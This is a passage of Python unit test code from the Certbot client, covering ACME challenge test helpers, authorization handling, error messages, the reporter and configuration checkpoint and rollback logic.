        from certbot.crypto_util import notBefore
        self.assertEqual(notBefore(CERT_PATH).isoformat(),
                         '2014-12-11T22:34:45+00:00')


class NotAfterTest(unittest.TestCase):
    """Tests for certbot.crypto_util.notAfter"""

    def test_notAfter(self):
        from certbot.crypto_util import notAfter
        self.assertEqual(notAfter(CERT_PATH).isoformat(),
                         '2014-12-18T22:34:45+00:00')


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""ACME utilities for testing."""
import datetime

import six

from acme import challenges
from acme import jose
from acme import messages

from certbot.tests import test_util


KEY = test_util.load_rsa_private_key('rsa512_key.pem')

# Challenges
HTTP01 = challenges.HTTP01(
    token=b"evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ+PCt92wr+oA")
TLSSNI01 = challenges.TLSSNI01(
    token=jose.b64decode(b"evaGxfADs6pSRb2LAv9IZf17Dt3juxGJyPCt92wrDoA"))
DNS = challenges.DNS(token=b"17817c66b60ce2e4012dfad92657527a")

CHALLENGES = [HTTP01, TLSSNI01, DNS]


def gen_combos(challbs):
    """Generate natural combinations for challbs."""
    # completing a single DV challenge satisfies the CA
    return tuple((i,) for i, _ in enumerate(challbs))


def chall_to_challb(chall, status):  # pylint: disable=redefined-outer-name
    """Return ChallengeBody from Challenge."""
    kwargs = {
        "chall": chall,
        "uri": chall.typ + "_uri",
        "status": status,
    }

    if status == messages.STATUS_VALID:
        kwargs.update({"validated": datetime.datetime.now()})

    return messages.ChallengeBody(**kwargs)  # pylint: disable=star-args


# Pending ChallengeBody objects
TLSSNI01_P = chall_to_challb(TLSSNI01, messages.STATUS_PENDING)
HTTP01_P = chall_to_challb(HTTP01, messages.STATUS_PENDING)
DNS_P = chall_to_challb(DNS, messages.STATUS_PENDING)

CHALLENGES_P = [HTTP01_P, TLSSNI01_P, DNS_P]


def gen_authzr(authz_status, domain, challs, statuses, combos=True):
    """Generate an authorization resource.

    :param authz_status: Status object
    :type authz_status: :class:`acme.messages.Status`
    :param list challs: Challenge objects
    :param list statuses: status of each challenge object
    :param bool combos: Whether or not to add combinations

    """
    # pylint: disable=redefined-outer-name
    challbs = tuple(
        chall_to_challb(chall, status)
        for chall, status in six.moves.zip(challs, statuses)
    )
    authz_kwargs = {
        "identifier": messages.Identifier(
            typ=messages.IDENTIFIER_FQDN, value=domain),
        "challenges": challbs,
    }
    if combos:
        authz_kwargs.update({"combinations": gen_combos(challbs)})
    if authz_status == messages.STATUS_VALID:
        authz_kwargs.update({
            "status": authz_status,
            "expires": datetime.datetime.now() + datetime.timedelta(days=31),
        })
    else:
        authz_kwargs.update({
            "status": authz_status,
        })

    # pylint: disable=star-args
    return messages.AuthorizationResource(
        uri="https://trusted.ca/new-authz-resource",
        new_cert_uri="https://trusted.ca/new-cert",
        body=messages.Authorization(**authz_kwargs)
    )






"""Tests for certbot.reporter."""
import mock
import sys
import unittest

import six


class ReporterTest(unittest.TestCase):
    """Tests for certbot.reporter.Reporter."""

    def setUp(self):
        from certbot import reporter
        self.reporter = reporter.Reporter(mock.MagicMock(quiet=False))

        self.old_stdout = sys.stdout
        sys.stdout = six.StringIO()

    def tearDown(self):
        sys.stdout = self.old_stdout

    def test_multiline_message(self):
        self.reporter.add_message("Line 1\nLine 2", self.reporter.LOW_PRIORITY)
        self.reporter.atexit_print_messages()
        output = sys.stdout.getvalue()
        self.assertTrue("Line 1\n" in output)
        self.assertTrue("Line 2" in output)

    def test_tty_print_empty(self):
        sys.stdout.isatty = lambda: True
        self.test_no_tty_print_empty()

    def test_no_tty_print_empty(self):
        self.reporter.print_messages()
        self.assertEqual(sys.stdout.getvalue(), "")
        try:
            raise ValueError
        except ValueError:
            self.reporter.print_messages()
        self.assertEqual(sys.stdout.getvalue(), "")

    def test_atexit_print_messages(self):
        self._add_messages()
        self.reporter.atexit_print_messages()
        output = sys.stdout.getvalue()
        self.assertTrue("IMPORTANT NOTES:" in output)
        self.assertTrue("High" in output)
        self.assertTrue("Med" in output)
        self.assertTrue("Low" in output)

    def test_tty_successful_exit(self):
        sys.stdout.isatty = lambda: True
        self._successful_exit_common()

    def test_no_tty_successful_exit(self):
        self._successful_exit_common()

    def test_tty_unsuccessful_exit(self):
        sys.stdout.isatty = lambda: True
        self._unsuccessful_exit_common()

    def test_no_tty_unsuccessful_exit(self):
        self._unsuccessful_exit_common()

    def _successful_exit_common(self):
        self._add_messages()
        self.reporter.print_messages()
        output = sys.stdout.getvalue()
        self.assertTrue("IMPORTANT NOTES:" in output)
        self.assertTrue("High" in output)
        self.assertTrue("Med" in output)
        self.assertTrue("Low" in output)

    def _unsuccessful_exit_common(self):
        self._add_messages()
        try:
            raise ValueError
        except ValueError:
            self.reporter.print_messages()
        output = sys.stdout.getvalue()
        self.assertTrue("IMPORTANT NOTES:" in output)
        self.assertTrue("High" in output)
        self.assertTrue("Med" not in output)
        self.assertTrue("Low" not in output)

    def _add_messages(self):
        self.reporter.add_message("High", self.reporter.HIGH_PRIORITY)
        self.reporter.add_message(
            "Med", self.reporter.MEDIUM_PRIORITY, on_crash=False)
        self.reporter.add_message(
            "Low", self.reporter.LOW_PRIORITY, on_crash=False)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot.auth_handler."""
import functools
import logging
import unittest

import mock
import six

from acme import challenges
from acme import client as acme_client
from acme import messages

from certbot import achallenges
from certbot import errors
from certbot import util

from certbot.tests import acme_util


class ChallengeFactoryTest(unittest.TestCase):
    # pylint: disable=protected-access

    def setUp(self):
        from certbot.auth_handler import AuthHandler

        # Account is mocked...
        self.handler = AuthHandler(None, None, mock.Mock(key="mock_key"))

        self.dom = "test"
        self.handler.authzr[self.dom] = acme_util.gen_authzr(
            messages.STATUS_PENDING, self.dom, acme_util.CHALLENGES,
            [messages.STATUS_PENDING] * 6, False)

    def test_all(self):
        achalls = self.handler._challenge_factory(
            self.dom, range(0, len(acme_util.CHALLENGES)))

        self.assertEqual(
            [achall.chall for achall in achalls], acme_util.CHALLENGES)

    def test_one_tls_sni(self):
        achalls = self.handler._challenge_factory(self.dom, [1])

        self.assertEqual(
            [achall.chall for achall in achalls], [acme_util.TLSSNI01])

    def test_unrecognized(self):
        self.handler.authzr["failure.com"] = acme_util.gen_authzr(
            messages.STATUS_PENDING, "failure.com",
            [mock.Mock(chall="chall", typ="unrecognized")],
            [messages.STATUS_PENDING])

        self.assertRaises(
            errors.Error, self.handler._challenge_factory, "failure.com", [0])


class GetAuthorizationsTest(unittest.TestCase):
    """get_authorizations test.

    This tests everything except for all functions under _poll_challenges.

    """

    def setUp(self):
        from certbot.auth_handler import AuthHandler

        self.mock_auth = mock.MagicMock(name="ApacheConfigurator")

        self.mock_auth.get_chall_pref.return_value = [challenges.TLSSNI01]

        self.mock_auth.perform.side_effect = gen_auth_resp

        self.mock_account = mock.Mock(key=util.Key("file_path", "PEM"))
        self.mock_net = mock.MagicMock(spec=acme_client.Client)

        self.handler = AuthHandler(
            self.mock_auth, self.mock_net, self.mock_account)

        logging.disable(logging.CRITICAL)

    def tearDown(self):
        logging.disable(logging.NOTSET)

    @mock.patch("certbot.auth_handler.AuthHandler._poll_challenges")
    def test_name1_tls_sni_01_1(self, mock_poll):
        self.mock_net.request_domain_challenges.side_effect = functools.partial(
            gen_dom_authzr, challs=acme_util.CHALLENGES)

        mock_poll.side_effect = self._validate_all

        authzr = self.handler.get_authorizations(["0"])

        self.assertEqual(self.mock_net.answer_challenge.call_count, 1)

        self.assertEqual(mock_poll.call_count, 1)
        chall_update = mock_poll.call_args[0][0]
        self.assertEqual(list(six.iterkeys(chall_update)), ["0"])
        self.assertEqual(len(chall_update.values()), 1)

        self.assertEqual(self.mock_auth.cleanup.call_count, 1)
        # Test if list first element is TLSSNI01, use typ because it is an achall
        self.assertEqual(
            self.mock_auth.cleanup.call_args[0][0][0].typ, "tls-sni-01")

        self.assertEqual(len(authzr), 1)

    @mock.patch("certbot.auth_handler.AuthHandler._poll_challenges")
    def test_name1_tls_sni_01_1_http_01_1_dns_1(self, mock_poll):
        self.mock_net.request_domain_challenges.side_effect = functools.partial(
            gen_dom_authzr, challs=acme_util.CHALLENGES, combos=False)

        mock_poll.side_effect = self._validate_all
        self.mock_auth.get_chall_pref.return_value.append(challenges.HTTP01)
        self.mock_auth.get_chall_pref.return_value.append(challenges.DNS)

        authzr = self.handler.get_authorizations(["0"])

        self.assertEqual(self.mock_net.answer_challenge.call_count, 3)

        self.assertEqual(mock_poll.call_count, 1)
        chall_update = mock_poll.call_args[0][0]
        self.assertEqual(list(six.iterkeys(chall_update)), ["0"])
        self.assertEqual(len(chall_update.values()), 1)

        self.assertEqual(self.mock_auth.cleanup.call_count, 1)
        # Test if list first element is TLSSNI01, use typ because it is an achall
        for achall in self.mock_auth.cleanup.call_args[0][0]:
            self.assertTrue(achall.typ in ["tls-sni-01", "http-01", "dns"])

        # Length of authorizations list
        self.assertEqual(len(authzr), 1)

    @mock.patch("certbot.auth_handler.AuthHandler._poll_challenges")
    def test_name3_tls_sni_01_3(self, mock_poll):
        self.mock_net.request_domain_challenges.side_effect = functools.partial(
            gen_dom_authzr, challs=acme_util.CHALLENGES)

        mock_poll.side_effect = self._validate_all

        authzr = self.handler.get_authorizations(["0", "1", "2"])

        self.assertEqual(self.mock_net.answer_challenge.call_count, 3)

        # Check poll call
        self.assertEqual(mock_poll.call_count, 1)
        chall_update = mock_poll.call_args[0][0]
        self.assertEqual(len(list(six.iterkeys(chall_update))), 3)
        self.assertTrue("0" in list(six.iterkeys(chall_update)))
        self.assertEqual(len(chall_update["0"]), 1)
        self.assertTrue("1" in list(six.iterkeys(chall_update)))
        self.assertEqual(len(chall_update["1"]), 1)
        self.assertTrue("2" in list(six.iterkeys(chall_update)))
        self.assertEqual(len(chall_update["2"]), 1)

        self.assertEqual(self.mock_auth.cleanup.call_count, 1)

        self.assertEqual(len(authzr), 3)

    def test_perform_failure(self):
        self.mock_net.request_domain_challenges.side_effect = functools.partial(
            gen_dom_authzr, challs=acme_util.CHALLENGES)
        self.mock_auth.perform.side_effect = errors.AuthorizationError

        self.assertRaises(
            errors.AuthorizationError, self.handler.get_authorizations, ["0"])

    def test_no_domains(self):
        self.assertRaises(errors.AuthorizationError, self.handler.get_authorizations, [])

    def _validate_all(self, unused_1, unused_2):
        for dom in six.iterkeys(self.handler.authzr):
            azr = self.handler.authzr[dom]
            self.handler.authzr[dom] = acme_util.gen_authzr(
                messages.STATUS_VALID,
                dom,
                [challb.chall for challb in azr.body.challenges],
                [messages.STATUS_VALID] * len(azr.body.challenges),
                azr.body.combinations)


class PollChallengesTest(unittest.TestCase):
    # pylint: disable=protected-access
    """Test poll challenges."""

    def setUp(self):
        from certbot.auth_handler import challb_to_achall
        from certbot.auth_handler import AuthHandler

        # Account and network are mocked...
        self.mock_net = mock.MagicMock()
        self.handler = AuthHandler(
            None, self.mock_net, mock.Mock(key="mock_key"))

        self.doms = ["0", "1", "2"]
        self.handler.authzr[self.doms[0]] = acme_util.gen_authzr(
            messages.STATUS_PENDING, self.doms[0],
            [acme_util.HTTP01, acme_util.TLSSNI01],
            [messages.STATUS_PENDING] * 2, False)

        self.handler.authzr[self.doms[1]] = acme_util.gen_authzr(
            messages.STATUS_PENDING, self.doms[1],
            acme_util.CHALLENGES, [messages.STATUS_PENDING] * 3, False)

        self.handler.authzr[self.doms[2]] = acme_util.gen_authzr(
            messages.STATUS_PENDING, self.doms[2],
            acme_util.CHALLENGES, [messages.STATUS_PENDING] * 3, False)

        self.chall_update = {}
        for dom in self.doms:
            self.chall_update[dom] = [
                challb_to_achall(challb, mock.Mock(key="dummy_key"), dom)
                for challb in self.handler.authzr[dom].body.challenges]

    @mock.patch("certbot.auth_handler.time")
    def test_poll_challenges(self, unused_mock_time):
        self.mock_net.poll.side_effect = self._mock_poll_solve_one_valid
        self.handler._poll_challenges(self.chall_update, False)

        for authzr in self.handler.authzr.values():
            self.assertEqual(authzr.body.status, messages.STATUS_VALID)

    @mock.patch("certbot.auth_handler.time")
    def test_poll_challenges_failure_best_effort(self, unused_mock_time):
        self.mock_net.poll.side_effect = self._mock_poll_solve_one_invalid
        self.handler._poll_challenges(self.chall_update, True)

        for authzr in self.handler.authzr.values():
            self.assertEqual(authzr.body.status, messages.STATUS_PENDING)

    @mock.patch("certbot.auth_handler.time")
    @mock.patch("certbot.auth_handler.zope.component.getUtility")
    def test_poll_challenges_failure(self, unused_mock_time, unused_mock_zope):
        self.mock_net.poll.side_effect = self._mock_poll_solve_one_invalid
        self.assertRaises(
            errors.AuthorizationError, self.handler._poll_challenges,
            self.chall_update, False)

    @mock.patch("certbot.auth_handler.time")
    def test_unable_to_find_challenge_status(self, unused_mock_time):
        from certbot.auth_handler import challb_to_achall
        self.mock_net.poll.side_effect = self._mock_poll_solve_one_valid
        self.chall_update[self.doms[0]].append(
            challb_to_achall(acme_util.DNS_P, "key", self.doms[0]))
        self.assertRaises(
            errors.AuthorizationError, self.handler._poll_challenges,
            self.chall_update, False)

    def test_verify_authzr_failure(self):
        self.assertRaises(
            errors.AuthorizationError, self.handler.verify_authzr_complete)

    def _mock_poll_solve_one_valid(self, authzr):
        # Pending here because my dummy script won't change the full status.
        # Basically it didn't raise an error and it stopped earlier than
        # Making all challenges invalid which would make mock_poll_solve_one
        # change authzr to invalid
        return self._mock_poll_solve_one_chall(authzr, messages.STATUS_VALID)

    def _mock_poll_solve_one_invalid(self, authzr):
        return self._mock_poll_solve_one_chall(authzr, messages.STATUS_INVALID)

    def _mock_poll_solve_one_chall(self, authzr, desired_status):
        # pylint: disable=no-self-use
        """Dummy method that solves one chall at a time to desired_status.

        When all are solved.. it changes authzr.status to desired_status

        """
        new_challbs = authzr.body.challenges
        for challb in authzr.body.challenges:
            if challb.status != desired_status:
                new_challbs = tuple(
                    challb_temp if challb_temp != challb
                    else acme_util.chall_to_challb(challb.chall, desired_status)
                    for challb_temp in authzr.body.challenges
                )
                break

        if all(test_challb.status == desired_status
               for test_challb in new_challbs):
            status_ = desired_status
        else:
            status_ = authzr.body.status

        new_authzr = messages.AuthorizationResource(
            uri=authzr.uri,
            new_cert_uri=authzr.new_cert_uri,
            body=messages.Authorization(
                identifier=authzr.body.identifier,
                challenges=new_challbs,
                combinations=authzr.body.combinations,
                status=status_,
            ),
        )
        return (new_authzr, "response")


class ChallbToAchallTest(unittest.TestCase):
    """Tests for certbot.auth_handler.challb_to_achall."""

    def _call(self, challb):
        from certbot.auth_handler import challb_to_achall
        return challb_to_achall(challb, "account_key", "domain")

    def test_it(self):
        self.assertEqual(
            self._call(acme_util.HTTP01_P),
            achallenges.KeyAuthorizationAnnotatedChallenge(
                challb=acme_util.HTTP01_P, account_key="account_key",
                domain="domain"),
        )


class GenChallengePathTest(unittest.TestCase):
    """Tests for certbot.auth_handler.gen_challenge_path.

    .. todo:: Add more tests for dumb_path... depending on what we want to do.

    """
    def setUp(self):
        logging.disable(logging.FATAL)

    def tearDown(self):
        logging.disable(logging.NOTSET)

    @classmethod
    def _call(cls, challbs, preferences, combinations):
        from certbot.auth_handler import gen_challenge_path
        return gen_challenge_path(challbs, preferences, combinations)

    def test_common_case(self):
        """Given TLSSNI01 and HTTP01 with appropriate combos."""
        challbs = (acme_util.TLSSNI01_P, acme_util.HTTP01_P)
        prefs = [challenges.TLSSNI01, challenges.HTTP01]
        combos = ((0,), (1,))

        # Smart then trivial dumb path test
        self.assertEqual(self._call(challbs, prefs, combos), (0,))
        self.assertTrue(self._call(challbs, prefs, None))
        # Rearrange order...
        self.assertEqual(self._call(challbs[::-1], prefs, combos), (1,))
        self.assertTrue(self._call(challbs[::-1], prefs, None))

    def test_not_supported(self):
        challbs = (acme_util.DNS_P, acme_util.TLSSNI01_P)
        prefs = [challenges.TLSSNI01]
        combos = ((0, 1),)

        # smart path fails because no challs in perfs satisfies combos
        self.assertRaises(
            errors.AuthorizationError, self._call, challbs, prefs, combos)
        # dumb path fails because all challbs are not supported
        self.assertRaises(
            errors.AuthorizationError, self._call, challbs, prefs, None)


class ReportFailedChallsTest(unittest.TestCase):
    """Tests for certbot.auth_handler._report_failed_challs."""
    # pylint: disable=protected-access

    def setUp(self):
        kwargs = {
            "chall": acme_util.HTTP01,
            "uri": "uri",
            "status": messages.STATUS_INVALID,
            "error": messages.Error(typ="urn:acme:error:tls", detail="detail"),
        }

        # Prevent future regressions if the error type changes
        self.assertTrue(kwargs["error"].description is not None)

        self.http01 = achallenges.KeyAuthorizationAnnotatedChallenge(
            # pylint: disable=star-args
            challb=messages.ChallengeBody(**kwargs),
            domain="example.com",
            account_key="key")

        kwargs["chall"] = acme_util.TLSSNI01
        self.tls_sni_same = achallenges.KeyAuthorizationAnnotatedChallenge(
            # pylint: disable=star-args
            challb=messages.ChallengeBody(**kwargs),
            domain="example.com",
            account_key="key")

        kwargs["error"] = messages.Error(typ="dnssec", detail="detail")
        self.tls_sni_diff = achallenges.KeyAuthorizationAnnotatedChallenge(
            # pylint: disable=star-args
            challb=messages.ChallengeBody(**kwargs),
            domain="foo.bar",
            account_key="key")

    @mock.patch("certbot.auth_handler.zope.component.getUtility")
    def test_same_error_and_domain(self, mock_zope):
        from certbot import auth_handler

        auth_handler._report_failed_challs([self.http01, self.tls_sni_same])
        call_list = mock_zope().add_message.call_args_list
        self.assertTrue(len(call_list) == 1)
        self.assertTrue("Domain: example.com\nType:   tls\nDetail: detail" in call_list[0][0][0])

    @mock.patch("certbot.auth_handler.zope.component.getUtility")
    def test_different_errors_and_domains(self, mock_zope):
        from certbot import auth_handler

        auth_handler._report_failed_challs([self.http01, self.tls_sni_diff])
        self.assertTrue(mock_zope().add_message.call_count == 2)


def gen_auth_resp(chall_list):
    """Generate a dummy authorization response."""
    return ["%s%s" % (chall.__class__.__name__, chall.domain)
            for chall in chall_list]


def gen_dom_authzr(domain, unused_new_authzr_uri, challs, combos=True):
    """Generates new authzr for domains."""
    return acme_util.gen_authzr(
        messages.STATUS_PENDING, domain, challs,
        [messages.STATUS_PENDING] * len(challs), combos)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot.errors."""
import unittest

import mock

from acme import messages

from certbot import achallenges
from certbot.tests import acme_util


class FaiiledChallengesTest(unittest.TestCase):
    """Tests for certbot.errors.FailedChallenges."""

    def setUp(self):
        from certbot.errors import FailedChallenges
        self.error = FailedChallenges(set([achallenges.DNS(
            domain="example.com", challb=messages.ChallengeBody(
                chall=acme_util.DNS, uri=None,
                error=messages.Error(typ="tls", detail="detail")))]))

    def test_str(self):
        self.assertTrue(str(self.error).startswith(
            "Failed authorization procedure. example.com (dns): tls"))


class StandaloneBindErrorTest(unittest.TestCase):
    """Tests for certbot.errors.StandaloneBindError."""

    def setUp(self):
        from certbot.errors import StandaloneBindError
        self.error = StandaloneBindError(mock.sentinel.error, 1234)

    def test_instance_args(self):
        self.assertEqual(mock.sentinel.error, self.error.socket_error)
        self.assertEqual(1234, self.error.port)

    def test_str(self):
        self.assertTrue(str(self.error).startswith(
            "Problem binding to port 1234: "))


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Test certbot.reverter."""
import csv
import logging
import os
import shutil
import tempfile
import unittest

import mock
import six

from certbot import errors


class ReverterCheckpointLocalTest(unittest.TestCase):
    # pylint: disable=too-many-instance-attributes, too-many-public-methods
    """Test the Reverter Class."""
    def setUp(self):
        from certbot.reverter import Reverter

        # Disable spurious errors... we are trying to test for them
        logging.disable(logging.CRITICAL)

        self.config = setup_work_direc()
        self.reverter = Reverter(self.config)

        tup = setup_test_files()
        self.config1, self.config2, self.dir1, self.dir2, self.sets = tup

    def tearDown(self):
        shutil.rmtree(self.config.work_dir)
        shutil.rmtree(self.dir1)
        shutil.rmtree(self.dir2)

        logging.disable(logging.NOTSET)

    @mock.patch("certbot.reverter.Reverter._read_and_append")
    def test_no_change(self, mock_read):
        mock_read.side_effect = OSError("cannot even")
        try:
            self.reverter.add_to_checkpoint(self.sets[0], "save1")
        except OSError:
            pass
        self.reverter.finalize_checkpoint("blah")
        path = os.listdir(self.reverter.config.backup_dir)[0]
        no_change = os.path.join(self.reverter.config.backup_dir, path, "CHANGES_SINCE")
        with open(no_change, "r") as f:
            x = f.read()
        self.assertTrue("No changes" in x)

    def test_basic_add_to_temp_checkpoint(self):
        # These shouldn't conflict even though they are both named config.txt
        self.reverter.add_to_temp_checkpoint(self.sets[0], "save1")
        self.reverter.add_to_temp_checkpoint(self.sets[1], "save2")

        self.assertTrue(os.path.isdir(self.config.temp_checkpoint_dir))
        self.assertEqual(get_save_notes(
            self.config.temp_checkpoint_dir), "save1save2")
        self.assertFalse(os.path.isfile(
            os.path.join(self.config.temp_checkpoint_dir, "NEW_FILES")))

        self.assertEqual(
            get_filepaths(self.config.temp_checkpoint_dir),
            "{0}\n{1}\n".format(self.config1, self.config2))

    def test_add_to_checkpoint_copy_failure(self):
        with mock.patch("certbot.reverter.shutil.copy2") as mock_copy2:
            mock_copy2.side_effect = IOError("bad copy")
            self.assertRaises(
                errors.ReverterError, self.reverter.add_to_checkpoint,
                self.sets[0], "save1")

    def test_checkpoint_conflict(self):
        """Make sure that checkpoint errors are thrown appropriately."""
        config3 = os.path.join(self.dir1, "config3.txt")
        self.reverter.register_file_creation(True, config3)
        update_file(config3, "This is a new file!")

        self.reverter.add_to_checkpoint(self.sets[2], "save1")
        # This shouldn't throw an error
        self.reverter.add_to_temp_checkpoint(self.sets[0], "save2")
        # Raise error
        self.assertRaises(errors.ReverterError, self.reverter.add_to_checkpoint,
                          self.sets[2], "save3")
        # Should not cause an error
        self.reverter.add_to_checkpoint(self.sets[1], "save4")

        # Check to make sure new files are also checked...
        self.assertRaises(errors.ReverterError, self.reverter.add_to_checkpoint,
                          set([config3]), "invalid save")

    def test_multiple_saves_and_temp_revert(self):
        self.reverter.add_to_temp_checkpoint(self.sets[0], "save1")
        update_file(self.config1, "updated-directive")
        self.reverter.add_to_temp_checkpoint(self.sets[0], "save2-updated dir")
        update_file(self.config1, "new directive change that we won't keep")

        self.reverter.revert_temporary_config()
        self.assertEqual(read_in(self.config1), "directive-dir1")

    def test_multiple_registration_fail_and_revert(self):

        config3 = os.path.join(self.dir1, "config3.txt")
        update_file(config3, "Config3")
        config4 = os.path.join(self.dir2, "config4.txt")
        update_file(config4, "Config4")

        # Test multiple registrations and two registrations at once
        self.reverter.register_file_creation(True, self.config1)
        self.reverter.register_file_creation(True, self.config2)
        self.reverter.register_file_creation(True, config3, config4)

        # Simulate Certbot crash... recovery routine is run
        self.reverter.recovery_routine()

        self.assertFalse(os.path.isfile(self.config1))
        self.assertFalse(os.path.isfile(self.config2))
        self.assertFalse(os.path.isfile(config3))
        self.assertFalse(os.path.isfile(config4))

    def test_multiple_registration_same_file(self):
        self.reverter.register_file_creation(True, self.config1)
        self.reverter.register_file_creation(True, self.config1)
        self.reverter.register_file_creation(True, self.config1)
        self.reverter.register_file_creation(True, self.config1)

        files = get_new_files(self.config.temp_checkpoint_dir)

        self.assertEqual(len(files), 1)

    def test_register_file_creation_write_error(self):
        m_open = mock.mock_open()
        with mock.patch("certbot.reverter.open", m_open, create=True):
            m_open.side_effect = OSError("bad open")
            self.assertRaises(
                errors.ReverterError, self.reverter.register_file_creation,
                True, self.config1)

    def test_bad_registration(self):
        # Made this mistake and want to make sure it doesn't happen again...
        self.assertRaises(
            errors.ReverterError, self.reverter.register_file_creation,
            "filepath")

    def test_register_undo_command(self):
        coms = [
            ["a2dismod", "ssl"],
            ["a2dismod", "rewrite"],
            ["cleanslate"]
        ]
        for com in coms:
            self.reverter.register_undo_command(True, com)

        act_coms = get_undo_commands(self.config.temp_checkpoint_dir)

        for a_com, com in six.moves.zip(act_coms, coms):
            self.assertEqual(a_com, com)

    def test_bad_register_undo_command(self):
        m_open = mock.mock_open()
        with mock.patch("certbot.reverter.open", m_open, create=True):
            m_open.side_effect = OSError("bad open")
            self.assertRaises(
                errors.ReverterError, self.reverter.register_undo_command,
                True, ["command"])

    @mock.patch("certbot.util.run_script")
    def test_run_undo_commands(self, mock_run):
        mock_run.side_effect = ["", errors.SubprocessError]
        coms = [
            ["invalid_command"],
            ["a2dismod", "ssl"],
        ]
        for com in coms:
            self.reverter.register_undo_command(True, com)

        self.reverter.revert_temporary_config()

        self.assertEqual(mock_run.call_count, 2)

    def test_recovery_routine_in_progress_failure(self):
        self.reverter.add_to_checkpoint(self.sets[0], "perm save")

        # pylint: disable=protected-access
        self.reverter._recover_checkpoint = mock.MagicMock(
            side_effect=errors.ReverterError)
        self.assertRaises(errors.ReverterError, self.reverter.recovery_routine)

    def test_recover_checkpoint_revert_temp_failures(self):

        mock_recover = mock.MagicMock(
            side_effect=errors.ReverterError("e"))

        # pylint: disable=protected-access
        self.reverter._recover_checkpoint = mock_recover

        self.reverter.add_to_temp_checkpoint(self.sets[0], "config1 save")

        self.assertRaises(
            errors.ReverterError, self.reverter.revert_temporary_config)

    def test_recover_checkpoint_rollback_failure(self):
        mock_recover = mock.MagicMock(
            side_effect=errors.ReverterError("e"))
        # pylint: disable=protected-access
        self.reverter._recover_checkpoint = mock_recover

        self.reverter.add_to_checkpoint(self.sets[0], "config1 save")
        self.reverter.finalize_checkpoint("Title")

        self.assertRaises(
            errors.ReverterError, self.reverter.rollback_checkpoints, 1)

    def test_recover_checkpoint_copy_failure(self):
        self.reverter.add_to_temp_checkpoint(self.sets[0], "save1")

        with mock.patch("certbot.reverter.shutil.copy2") as mock_copy2:
            mock_copy2.side_effect = OSError("bad copy")
            self.assertRaises(
                errors.ReverterError, self.reverter.revert_temporary_config)

    def test_recover_checkpoint_rm_failure(self):
        self.reverter.add_to_temp_checkpoint(self.sets[0], "temp save")

        with mock.patch("certbot.reverter.shutil.rmtree") as mock_rmtree:
            mock_rmtree.side_effect = OSError("Cannot remove tree")
            self.assertRaises(
                errors.ReverterError, self.reverter.revert_temporary_config)

    @mock.patch("certbot.reverter.logger.warning")
    def test_recover_checkpoint_missing_new_files(self, mock_warn):
        self.reverter.register_file_creation(
            True, os.path.join(self.dir1, "missing_file.txt"))
        self.reverter.revert_temporary_config()
        self.assertEqual(mock_warn.call_count, 1)

    @mock.patch("certbot.reverter.os.remove")
    def test_recover_checkpoint_remove_failure(self, mock_remove):
        self.reverter.register_file_creation(True, self.config1)
        mock_remove.side_effect = OSError("Can't remove")
        self.assertRaises(
            errors.ReverterError, self.reverter.revert_temporary_config)

    def test_recovery_routine_temp_and_perm(self):
        # Register a new perm checkpoint file
        config3 = os.path.join(self.dir1, "config3.txt")
        self.reverter.register_file_creation(False, config3)
        update_file(config3, "This is a new perm file!")

        # Add changes to perm checkpoint
        self.reverter.add_to_checkpoint(self.sets[0], "perm save1")
        update_file(self.config1, "updated perm config1")
        self.reverter.add_to_checkpoint(self.sets[1], "perm save2")
        update_file(self.config2, "updated perm config2")

        # Add changes to a temporary checkpoint
        self.reverter.add_to_temp_checkpoint(self.sets[0], "temp save1")
        update_file(self.config1, "second update now temp config1")

        # Register a new temp checkpoint file
        config4 = os.path.join(self.dir2, "config4.txt")
        self.reverter.register_file_creation(True, config4)
        update_file(config4, "New temporary file!")

        # Now erase everything
        self.reverter.recovery_routine()

        # Now Run tests
        # These were new files.. they should be removed
        self.assertFalse(os.path.isfile(config3))
        self.assertFalse(os.path.isfile(config4))

        # Check to make sure everything got rolled back appropriately
        self.assertEqual(read_in(self.config1), "directive-dir1")
        self.assertEqual(read_in(self.config2), "directive-dir2")


class TestFullCheckpointsReverter(unittest.TestCase):
    # pylint: disable=too-many-instance-attributes
    """Tests functions having to deal with full checkpoints."""
    def setUp(self):
        from certbot.reverter import Reverter
        # Disable spurious errors...
        logging.disable(logging.CRITICAL)

        self.config = setup_work_direc()
        self.reverter = Reverter(self.config)

        tup = setup_test_files()
        self.config1, self.config2, self.dir1, self.dir2, self.sets = tup

    def tearDown(self):
        shutil.rmtree(self.config.work_dir)
        shutil.rmtree(self.dir1)
        shutil.rmtree(self.dir2)

        logging.disable(logging.NOTSET)

    def test_rollback_improper_inputs(self):
        self.assertRaises(
            errors.ReverterError, self.reverter.rollback_checkpoints, "-1")
        self.assertRaises(
            errors.ReverterError, self.reverter.rollback_checkpoints, -1000)
        self.assertRaises(
            errors.ReverterError, self.reverter.rollback_checkpoints, "one")

    def test_rollback_finalize_checkpoint_valid_inputs(self):

        config3 = self._setup_three_checkpoints()

        # Check resulting backup directory
        self.assertEqual(len(os.listdir(self.config.backup_dir)), 3)
        # Check rollbacks
        # First rollback
        self.reverter.rollback_checkpoints(1)
        self.assertEqual(read_in(self.config1), "update config1")
        self.assertEqual(read_in(self.config2), "update config2")
        # config3 was not included in checkpoint
        self.assertEqual(read_in(config3), "Final form config3")

        # Second rollback
        self.reverter.rollback_checkpoints(1)
        self.assertEqual(read_in(self.config1), "update config1")
        self.assertEqual(read_in(self.config2), "directive-dir2")
        self.assertFalse(os.path.isfile(config3))

        # One dir left... check title
        all_dirs = os.listdir(self.config.backup_dir)
        self.assertEqual(len(all_dirs), 1)
        self.assertTrue(
            "First Checkpoint" in get_save_notes(
                os.path.join(self.config.backup_dir, all_dirs[0])))
        # Final rollback
        self.reverter.rollback_checkpoints(1)
        self.assertEqual(read_in(self.config1), "directive-dir1")

    def test_finalize_checkpoint_no_in_progress(self):
        # No need to warn for this... just make sure there are no errors.
        self.reverter.finalize_checkpoint("No checkpoint...")

    @mock.patch("certbot.reverter.shutil.move")
    def test_finalize_checkpoint_cannot_title(self, mock_move):
        self.reverter.add_to_checkpoint(self.sets[0], "perm save")
        mock_move.side_effect = OSError("cannot move")

        self.assertRaises(
            errors.ReverterError, self.reverter.finalize_checkpoint, "Title")

    @mock.patch("certbot.reverter.os.rename")
    def test_finalize_checkpoint_no_rename_directory(self, mock_rename):

